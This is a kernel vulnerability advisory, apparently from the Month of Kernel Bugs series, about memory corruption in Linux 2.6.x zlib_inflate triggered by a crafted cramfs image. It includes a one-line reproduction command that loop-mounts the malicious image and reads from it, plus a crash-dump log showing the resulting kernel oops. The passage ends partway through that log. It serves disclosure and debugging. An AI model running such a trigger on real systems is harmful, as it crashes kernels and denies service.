| Title: | Linux 2.6.x zlib_inflate memory corruption |
| Description: | Linux 2.6.x zlib_inflate function can be abused by filesystems that depend on zlib compression, such as cramfs. A failure to handle crafted data, result of a read operation in a corrupted filesystem stream, may lead to memory corruption. This particular vulnerability requires a filesystem (proof of concept for cramfs provided) to fail validation (ex. no integrity checking) of the binary stream in order to reach execution of zlib_inflate(). |
| Author/Contributor: | LMH <lmh[at]info-pull.com> |
| References: | |
| Proof of concept or exploit: |
The following cramfs filesystem image can be used to reproduce the bug:
MOKB-07-11-2006.img.bz2 Use a loopback device to mount it: bunzip2 MOKB-07-11-2006.img.bz2 && mount -t cramfs -o loop MOKB-07-11-2006.iso /media/test && cat /media/test/* 2>/dev/null 1>&2
|
| Debugging information: |
The bug has been found using the Linux version of fsfuzzer
on a Fedora Core 6 installation, with up to date packages as of
07-11-2006. A read operation is necessary to trigger the bug.
The architecture used to conduct the tests is IA32/x86, SMP enabled.
[root@fedoravm ~]# crash /usr/lib/debug/lib/modules/2.6.18-1.2798.fc6/vmlinux /var/crash/2006-11-07-22\:13/vmcore
crash 4.0-3.3
Copyright (C) 2002, 2003, 2004, 2005, 2006 Red Hat, Inc.
Copyright (C) 2004, 2005, 2006 IBM Corporation
Copyright (C) 1999-2006 Hewlett-Packard Co
Copyright (C) 2005 Fujitsu Limited
Copyright (C) 2005 NEC Corporation
Copyright (C) 1999, 2002 Silicon Graphics, Inc.
Copyright (C) 1999, 2000, 2001, 2002 Mission Critical Linux, Inc.
This program is free software, covered by the GNU General Public License,
and you are welcome to change it and/or distribute copies of it under
certain conditions. Enter "help copying" to see the conditions.
This program has absolutely no warranty. Enter "help warranty" for details.
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
KERNEL: /usr/lib/debug/lib/modules/2.6.18-1.2798.fc6/vmlinux
DUMPFILE: /var/crash/2006-11-07-22:13/vmcore
CPUS: 1
DATE: Tue Nov 7 22:12:32 2006
UPTIME: 00:03:01
LOAD AVERAGE: 0.68, 0.46, 0.20
TASKS: 61
NODENAME: fedoravm
RELEASE: 2.6.18-1.2798.fc6
VERSION: #1 SMP Mon Oct 16 14:37:32 EDT 2006
MACHINE: i686 (2799 Mhz)
MEMORY: 256 MB
PANIC: "Oops: 0000 [#1]" (check log for details)
PID: 1976
COMMAND: "bash"
TASK: cfd863b0 [THREAD_INFO: cb6d9000]
CPU: 0
STATE: TASK_RUNNING (SYSRQ)
crash> log
(...)
SELinux: initialized (dev loop0, type cramfs), uses genfs_contexts
Error -3 while decompressing!
d0aed7cc(977)->cb0a9000(4096)
Error -3 while decompressing!
d0aedb9d(1029)->cb09e000(4096)
Error -3 while decompressing!
d0aedfa2(886)->cb69c000(4096)
Error -3 while decompressing!
d0aee318(864)->cb0a2000(4096)
Error -3 while decompressing!
d0aee678(891)->cb0a5000(4096)
BUG: unable to handle kernel paging request at virtual address db5b0c28 <---------- edx
printing eip:
c04ea58b
*pde = 00000000
Oops: 0000 [#1]
SMP
last sysfs file: /block/loop3/range
Modules linked in: cramfs loop ipv6 sunrpc ip_conntrack_netbios_ns ipt_REJECT xt_state ip_conntrack
nfnetlink xt_tcpudp iptable_filter ip_tables x_tables video sbs i2c_ec button battery asus_acpi ac
parport_pc lp parport floppy snd_ens1371 gameport snd_rawmidi snd_ac97_codec snd_ac97_bus snd_seq_dummy
snd_seq_oss snd_seq_midi_event snd_seq sg snd_seq_device snd_pcm_oss snd_mixer_oss snd_pcm snd_timer
i2c_piix4 snd soundcore snd_page_alloc i2c_core pcspkr vmxnet(U) pcnet32 mii ide_cd serio_raw cdrom
dm_snapshot dm_zero dm_mirror dm_mod ext3 jbd mptspi scsi_transport_spi mptscsih sd_mod scsi_mod
mptbase
CPU: 0
EIP: 0060:[
|